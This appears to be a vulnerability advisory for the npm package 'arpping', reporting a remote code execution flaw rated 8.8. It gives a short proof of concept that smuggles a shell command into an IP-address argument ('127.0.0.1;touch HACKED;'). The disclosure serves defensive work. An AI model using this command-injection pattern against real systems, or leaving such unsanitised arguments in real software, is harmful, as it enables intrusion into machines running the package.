arpping

vulnerability remote code execution
severity 8.8
language javascript
registry npm

Description

Remote Code Execution (RCE) in arpping

Proof of Concept

  1. Create the following PoC file:
// poc.js
const Arpping = require('arpping');
var arpping = new Arpping();
arpping.ping(["127.0.0.1;touch HACKED;"]);
  1. Execute the following commands in terminal:
npm i arpping # Install affected module
node poc.js #  Run the PoC
  1. Check the Output using ls command before and after the execution.

References